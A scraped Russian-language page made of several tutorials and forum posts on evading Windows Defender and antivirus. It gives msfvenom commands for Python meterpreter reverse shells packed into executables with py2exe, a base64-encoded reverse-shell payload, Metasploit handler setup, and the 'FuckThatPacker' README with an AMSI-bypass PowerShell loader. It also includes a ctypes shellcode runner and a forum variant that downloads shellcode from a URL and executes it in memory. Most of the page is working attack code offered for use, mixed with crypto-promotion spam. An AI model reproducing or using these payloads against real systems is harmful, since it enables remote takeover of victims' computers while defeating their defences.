Обход windows defender python

Время на прочтение3 мин

Количество просмотров26K

image

Всем привет. Сегодня рассмотрим вариант запуска meterpreter сессии на машине Windows 10 с самыми свежими патчами (включая Windows Defender). И все также будем обходить антивирусы. Meterpreter — расширенная многофункциональная начинка (payload, нагрузка), которая может быть динамически расширена во время выполнения. В нормальных условиях это обеспечивает вас основной оболочкой и позволяет вам добавлять новые особенности к ней по мере необходимости.
Будем мы это делать с помощью Python, и посмотрим, как поведут себя антивирусные средства.

Предугадывая вопрос «А нужен ли нам Python на машине жертвы для запуска ехе?», отвечу сразу – нет, не нужен, все уже внутри.

В данной статье мы будем использовать:

  • Windows 10 с включенным Windows Defender с обновленными базами (компьютер жертвы 192.168.1.113);
  • Kali linux для использования metasploit и msfvenom (192.168.1.126);
  • Windows 10 для сборки бинарника (в нашей лаборатории совпадает с компьютером жертвы) с установленными;
  • Python (3, но и для 2 тоже посмотрим);
  • py2exe.

Для начала обозначим проблему: создадим exe файл со стандартной нагрузкой, скопируем на машину жертвы и посмотрим к чему это приведёт.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f exe > hunt.exe

Мы получаем предупреждение от нашего старого друга Windows Defender, которого мы так все любим.

Если спросим у VirusTotal, то он скажет следующее:

image

Давайте запустим Python и сделаем то, ради чего мы все тут собрались.

Python/meterpreter/reverse_tcp – это уникальный кроссплатформенный payload Metasploit Framework, который позволяет удаленно управлять скомпрометированным компьютером. Не нужно думать о том, какую платформу выбрать, он сработает на любой, но в данном случае сделаем из него исполняемый файл под Windows.

Для начала установим пакет py2exe, который позволяет сделать исполняемый файл Windows из Python скрипта.

У нас это будет Python 3.4 (все что выше – не поддерживает py2exe).

py -3.4 –m pip install py2exe

или

pip install py2exe

Далее создадим «сырой» питоновский код с расширением .py

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f raw > hunt.py

Так же в вывод msfvenom нам необходимо добавить импорт getpass, который он забывает сделать сам. В итоге получиться должно так:

import getpass,base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMjYnLDkwMDEpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))

Теперь у нас все готово для создания бинарника.

python34 -m py2exe.build_exe hunt.py --bundle-files 0

Должны получить следующее:

image

Давайте еще раз обратимся к VirusTotal:

image

Уже лучше, теперь проверим это в действии – после копирования на машину жертвы обходимся без алертов.

Параллельно запустим наш msf и handler для питона, запустив последовательно команды:

msfconsole
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
set lhost 192.168.1.126
set lport 9001
run

image

Пойдем дальше и убедимся, что сессия работает корректно.

image

Таким образом сессия запущена и Windows Defender не сработал, чего мы и добивались.

Заодно давайте рассмотрим, что делать, если у вас Python 2ой версии.

  1. Качаем py2exe для python 2
  2. Генерируем payload с расширением .py
  3. Создаем файл setup.py и пишем туда следующее:
    from distutils.core import setup
    import py2exe
    setup(
    name = ‘Meter’,
    description = ‘Python-based App’,
    version = ‘1.0’,
    console=[‘hunt.py’],
    options = {‘py2exe’: {‘bundle_files’: 1,’packages’:’ctypes’,’includes’: ‘base64,sys,socket,struct,time,code,platform,getpass,shutil’,}},
    zipfile = None,
    ) 
  4. python.exe .\setup.py py2exe

Должно получиться все то же самое.

В качестве итога замечу, что оболочка python meterpreter уступает по функционалу более привычному windows meterpreter. Например, не получится мигрировать в процесс или использовать команды типа getsystem, но все же это реальная альтернатива: получить сессию для работы с msf (routing и portfwd как минимум) и далее работать внутри сети.

FuckThatPacker

A simple python packer to easily bypass Windows Defender

Basic usage

# python FuckThatPacker.py --help

  ___        _   _____ _         _   ___         _           
 | __|  _ __| |_|_   _| |_  __ _| |_| _ \__ _ __| |_____ _ _ 
 | _| || / _| / / | | | ' \/ _` |  _|  _/ _` / _| / / -_) '_|
 |_| \_,_\__|_\_\ |_| |_||_\__,_|\__|_| \__,_\__|_\_\___|_|  
                                                          
                                                                      
Written with <3 by Unknow101/inf0sec
v1.0


usage: FuckThatPacker.py [-h] -k KEY -p PAYLOAD [-o OUTPUT]

optional arguments:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     integer key use of XOR operation
  -p PAYLOAD, --payload PAYLOAD
                        path of the payload to pack
  -o OUTPUT, --output OUTPUT
                        output payload into file

Exemple

Basic generation of xor payload :

# python FuckThatPacker.py -k 32 -p /root/payload.ps1

  ___        _   _____ _         _   ___         _           
 | __|  _ __| |_|_   _| |_  __ _| |_| _ \__ _ __| |_____ _ _ 
 | _| || / _| / / | | | ' \/ _` |  _|  _/ _` / _| / / -_) '_|
 |_| \_,_\__|_\_\ |_| |_||_\__,_|\__|_| \__,_\__|_\_\___|_|  
                                                          
                                                                      
Written with <3 by Unknow101/inf0sec
v1.0


[+] Encode UTF16-LE
[+] Cyphering Payload ...
[+] Base64 Payload
[+] Writting into Template
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(("{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i')).GetField(("{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'),[Reflection.BindingFlags]("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))).GetValue($null),0x41414141)
$a = "395zIEUgVCANIHMgVCBS[...]iBdICog"
$b = [System.Convert]::FromBase64String($a)
for ($x = 0; $x -lt $b.Count; $x++) {
                $b[$x] = $b[$x] -bxor 32
        }
IEX ([System.Text.Encoding]::Unicode.GetString($b))

CobaltStrike Integration

17/03/2022 : FuckThatPacker is now integrated to CobaltStrike !

Setup

At this time, FuckThatPacker should be installed in /opt/Tools/FuckThatPacker (or you can manualy edit the aggressor script).
After this, you have to load the CNA script into cobalt strike (help : https://trial.cobaltstrike.com/aggressor-script/index.html)
You should have a new label under the attacks menu :

Then, you have to specify the listener, the key and the output :

Menu

The payload will be generated and packed :

AV Results

AV detection

Patch Notes

13/11/2020 : Modifying template.txt for Defender signature :D

Шелл Сквозь Windows Defender

Оглавление

  • Введение
    • Python
  • Начинаем
  • Заключение

Введение

Итак ситуация, есть возможность загрузить на тестируемую в рамках пентеста или другой легимитивной деятельности Windows машину файл и даже возможно исполнить его. Если мы говорим об последней, десятой версиии ОС то мы столкнёмся с местнымм его защитником Windows Defender, так же велика вероятность наткнуться на антивирус. В такой ситуации очень удобный и расширяемый meterpreter не сможет работать, какая есть альтернатива?

Python

Вот и ответ, использование Python в связке с metasploit и msfvenom позволяет нам получить достойную альтернативу классическому meterpreter с большинством его удобных функций. Правда некоторыми придется пожертвовать, не будет возможности использовать такие команды как getsystem и нельзя будет мигрировать в процесс.

Начинаем

Общая схема такова: мы генерируем python код с помощью msfvenom, “скармливаем” его py2exe, полученый бинарник запускаем на машине жертвы и ловим сессию.

Для начала установим py2exe под 3.4 версию так как всё что выше не поддерживается.

Или, если вы как и я любите обновляться

python -3.4 –m pip install py2exe

Далее создаём .py код:

msfvenom -p python/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > payload.py

К коду необходимо добавить import getpass который msfvenom по умолчанию почему-то не делает.

Делаем exe:

python34 -m py2exe.build_exe payload.py --bundle-files 0

И запускаем его на машине жертвы предварительно запустив handler:

msfconsole
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
set lhost eth0
set lport <PORT>
run

И получаем коммандную оболочку:

Python_shell

Заключение

Простой и эффективный способ борьбы с Windows Defender если не хочется терять удобный и привычный функционал meterpreter в угоду более нативным решениям, как например ssh или telnet.

Обход антивирусов на Python

Убежище

В этой статье — простое руководство по обходу антивирусов для начинающих на Python.

Больше полезной информации у нас в магазине: @DBmarketbot

Попытка обхода антивируса — это всегда игра в кошки-мышки. Всякий раз, когда новая техника уклонения становится распространенной, производители антивирусов узнают об этом и обновляют базу сигнатур, чтобы блокировать её.

На момент написания этой статьи, описанный здесь метод успешно использовался для обхода всех, без исключения антивирусов на Virus Total, и, как следствие, для успешного выполнения вредоносного кода на полностью обновленной машине с Windows 10 с включенным Windows Defender.

Payload на Python​

Антивирусы основанные на сравнение сигнатур, соотносят сигнатуры обнаруженных файлов со своей базой данных известных вредоносов. Наша цель состоит в том, чтобы «замаскировать» полезную нагрузку кода, или как её еще называют, пэйлоад, таким образом, чтобы сигнатура не совпадала ни с одной из известных антивирусам сигнатур.

Поведенческий антивирус попытается сопоставить известные подозрительные действия с действиями, предпринятыми при исполнении вашего кода. Наша вредоносная программа будет работать как клиент, запускающий TCP-соединение на 443 порту. Антивирусам на основе анализа поведения будет сложнее ловить подобные действия, не создавая ложных срабатываний для обычных приложений, например, таких как веб-браузеры.

В этом примере мы используем полезную нагрузку Python, сгенерированную MSFVenom, чтобы открыть обратный TCP-шелл (сеанс meterpreter) на 443 порту с компьютером атакующего, на котором запущен Metasploit. Подобные действия ПО, очевидно, похожи на действия вредоноса и должны отлавливаться любым антивирусом.

Описанный здесь подход достаточно гибок, поэтому в дальнейшем вы можете расширить его, заменив msfvenom своим собственным кодом Python.

Настройка окружения​

Мы рекомендуем использовать 3 виртуальные машины для этого урока:

  • Kali Linux для создания полезной нагрузки и запуска Metasploit;
  • Windows Metasploitable 3 для упаковки полезных данных в ПО;
  • И полностью пропатченный и настроенный к бою Windows 10 для проверки действия программы;

Причина, по которой мы использовали две разные виртуальные машины Windows, заключается в том, что нам нужен полностью пропатченный бокс, чтобы протестировать наш маленький вредонос в «полевых условиях». До cборки с помощью Py2Exe, машина со всеми патчами однозначно будет «ругаться» на наш необработанный пэйлоад Python, как на вредонос, что затруднит работу. Отсюда и потребность в виртуальной машине Metasploitable: 3 для обработки полезной нагрузки перед ее упаковкой.

Создание необнаружимой полезной нагрузки на Python​

Здесь мы рекомендуем использовать Windows Metasploitable 3 в качестве основной рабочей среды.

Установите Python 2.7.16 x86 для Windows: https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi

  • Установите 32 битный Py2exe для Python 2.7: https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download
  • Опционально, установите Open SSL для Windows.

Переключитесь на виртуальную машину с Kali и создайте payload на Python-e:

Примечание: мы использовали IP-адрес 10.0.2.10 для нашей Кали. Убедитесь, что вы заменили его своим IP-адресом для этого и всех оставшихся шагов в этом руководстве.

msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.2.10 LPORT=443 -f raw -o /var/www/html/mrtp.py

service apache2 start

Скопируйте полезную нагрузку «mrtp.py» на компьютер с Windows:

wget http://10.0.2.10/mrtp.py -O mrtp.py

Теперь установим пакет py2exe, который позволяет сделать исполняемый файл Windows из Python скрипта.

У нас это будет Python 3.4 (все что выше – не поддерживает py2exe).

py -3.4 –m pip install py2exe или pip install py2exe

Далее создайте setup.py со следующим содержанием:

from distutils.core import setup

import py2exe

setup(

name = ‘Meter’,

description = ‘Python-based App’,

version = ‘1.0’,

console=[‘mrtp.py’],

options = {‘py2exe’: {‘bundle_files’: 1,’packages’:’ctypes’,’includes’: ‘base64,sys,socket,struct,time,code,platform,getpass,shutil’,}},

zipfile = None,

)

Соберите исполняемый файл Python с помощью Py2Exe:

python.exe .\setup.py py2exe

Проверьте создался ли бинарник «mrtp.exe» в папке dist:

Запустите его:

.\dist\mrtp.exe

Переключитесь назад к виртуалке с Кали и запустите Метасплоит:

msfconsole

use exploit/multi/handler

set PAYLOAD python/meterpreter/reverse_tcp

set LHOST 10.0.2.10

set LPORT 443

run

Примечание. В зависимости от того, как долго будет грузиться Metasploit, вам может потребоваться снова запустить mrtp.exe в окне Windows.

Теперь, когда мы убедились, что наш маленький вредонос работает, давайте протестируем на VirusTotal-е:

Если вы все сделали правильно, то получите чистый отчет:

Теперь пришло время запустить наш вредонос на виртуалке с Windows 10. Просто перетащите файл «mrtp.exe» непосредственно в окно Windows 10.

Убедитесь, что Metasploit прослушивает порт 443 на машине с Kali, и запустите «mrtp.exe» на виртуалке с Windows 10.

Как видно на скриншоте, артефакт выполнен необнаруженным, и сеанс Meterpreter был успешно установлен.

Модифицируем наш вредонос!

Вы можете использовать ту же технику и создать свой собственный код. Все, что нужно, это повторить предыдущие шаги, отредактировав файл «mrtp.py» после его генерации с помощью msfvenom. Вам придется заменить строку, закодированную в base64 вашей собственной.

Для тренировки, создадим «custom_payload-py:

print («Customized payload»)

print («It works!»)

После создания, нам надо закодировать его в base64:

cat custom_payload.py | base64

Пример, который мы использовали, закодированный в Base64 будет выглядеть так:

“cHJpbnQgKCJDdXN0b21pemVkIHBheWxvYWQiKQpwcmludCAoIkl0IHdvcmtzISIpCg==”

Теперь отредактируем уже существующий «mrtp.py», который мы использовали в прошлый раз и заменим строчку base64 на новую:

После исправлений результат должен выглядеть примерно так:

mport base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,’UTF-8′)}[sys.version_info[0]](‘cHJpbnQgKCJDdXN0b21pemVkIHBheWxvYWQiKQpwcmludCAoIkl0IHdvcmtzISIpCg==’)))

Cкопируем mrtp.py на виртуалку с Windows и соберем бинарник:

wget http://10.0.2.10/mrtp.py -O mrtp.py

python.exe .\setup.py py2exe

.\dist\mrtp.exe

После запуска собранного бинарника, мы увидим на экране терминала строчки “Customized payload” и “It works”.

Вуаля. Все гениальное просто! Удачи в изучении Python! Статья опубликована исключительно в ознакомительных целях!

АКТУАЛЬНЫЕ ТЕМЫ:

👉👉👉 ПОЛУЧАЕМ 50$ ОТ OKCOIN

Напоминаем вам про наши другие проекты:👇

Актуальные ссылки на все наши проекты всегда будут — ЗДЕСЬ.

Обязательно подпишись!

Если у вас есть, что добавить или опровергнуть, пишите сюда — ТЫК



Привет колеги.
Сегодня покажу очень простенький пример обхода антивируса с помощью библиотеки ctypes в языке программирования python.
Суть обхода в том эта библиотека дает нам возможность выполнять код C|C++ в питоновском скрипте.
И мы смело сможем запустить шеллкод метасплоита в оперативной памяти.

Вы уж простите много писать пока не буду,времени очень мало у меня,отпишу потом пояснения в коментариях если возникнут вопросы у кого то .))

Вообщем ближе к делу

И так проделываем следующие шаги:
1)Создаем шеллкод командой:

Код:

msfvenom -p windows/meterpreter/reverse_https lport=1337 lhost=192.168.137.137 -b \0x0a\0x0b\0xff -f c

тут ничего пояснять думаю не нужно ,лишь обратить внимания стоит на параметр -b которым мы указываем которые плохие символы в шеллкоде нужно не использовать.

Дальше создаем скрипт на питоне следуещого вида:

Код:

from ctypes import *

shellcode = ("Тут_копипастим_наш шеллкод_созданный_через_msf_venom");

tralivali = create_string_buffer(shellcode, len(shellcode))
shell = cast(tralivali, CFUNCTYPE(c_void_p))

shell()

Собираем через pyinstaller на Windows системе..

Код:

C:\Python27\Scripts\pyinstaller.exe -F --noconsole --onefile --icon=C:\Users\CorpOfHack\Desktop\contacts.ico C:\Users\CorpOfHack\Desktop\SuperCheat.py

Хочу заметить что когда я не использовал картинку мне показало на

Ссылка скрыта от гостей

0/35
а когда добавил иконку то 8/35. Почему пока не выяснял.

Ссылка скрыта от гостей

А вот

Ссылка скрыта от гостей

Ну в любом случае результат не плохой) Все спасибо за внимания.Надеюсь был полезен)

Вот видосик)

m0tion




  • #3

C:\Python27\Scripts\pyinstaller.exe
Я думал логично будет думать что 2.7 если в пути указан Python2.7

cacaocaca




  • #4

Congratulation again bro and for your time for text it this is good so for early and thanks for your code and you say right without icon bypass some detection .. One similar thing happen if you use easybinder for binder exe and change compression to «zlib,bzip2,lzma» have result of detection always different the more good is always lzma bzip2 but depend if you already know the av of victim need try any compression maybe Good lucky bro have a nice day




  • #5

Универсальный метод :

#!/usr/bin/python

from ctypes import *
from

base64 import b64decode # Тут указываем свой метод шифрования
from urllib import urlopen
from time import sleep

URL = »

Ссылка скрыта от гостей

» # Здесь указываем страницу со своим шелл-кодом

downloader = urlopen(URL) # Скачать содержимое
shellcode =

b64decode(downloader.read()) # Декодирование шелл-кода
sleep(31) # Избегаем эвристики за счет времени
shellcode_buffer = create_string_buffer(shellcode, len(shellcode))
shell = cast(shellcode_buffer, CFUNCTYPE(c_void_p))
shell()

Последнее редактирование:




  • #6

Да, и для лучшего понимания питоном шелл-кода на С, лучше убрать изначально все двойные ковычки и новые линии таким образом:

./msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 C | tr -d ‘»‘ | tr -d ‘\n’ | more



  • #7

Универсальный метод :

#!/usr/bin/python

from ctypes import *
from

base64 import b64decode # Тут указываем свой метод шифрования
from urllib import urlopen
from time import sleep

URL = »

Ссылка скрыта от гостей

» # Здесь указываем страницу со своим шелл-кодом

downloader = urlopen(URL) # Скачать содержимое
shellcode =

b64decode(downloader.read()) # Декодирование шелл-кода
sleep(31) # Избегаем эвристики за счет времени
shellcode_buffer = create_string_buffer(shellcode, len(shellcode))
shell = cast(shellcode_buffer, CFUNCTYPE(c_void_p))
shell()

Да использовать принцип веб деливери практичнее всегда.
Я лишь показал возможности ctypes библиотеки.
А так ,да. Обычно шеллкод размещают или на гитхабе или пастебине.




  • #8

Интересный способ. Явно стоит затестить.




  • #9

Пробовал под Linux, но не работает. Падает от сегментации памяти. (pyinstaller не использовал.)
msfvenom -p ‘linux/x64/meterpreter/bind_tcp’ LPORT=772 -f c -o payload

Screenshot at 2020-07-29 20-18-21.png

Screenshot at 2020-07-29 20-20-56.png

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Понравилась статья? Поделить с друзьями:
0 0 голоса
Рейтинг статьи
Подписаться
Уведомить о
guest

0 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии
  • Качество звука airpods pro на windows
  • Windows основан на linux
  • Как удалить активатор windows 10 hwid
  • Как переназначить гнезда звуковой карты в windows 10
  • Сертификат сервера шлюза удаленных рабочих столов просрочен или отозван windows 7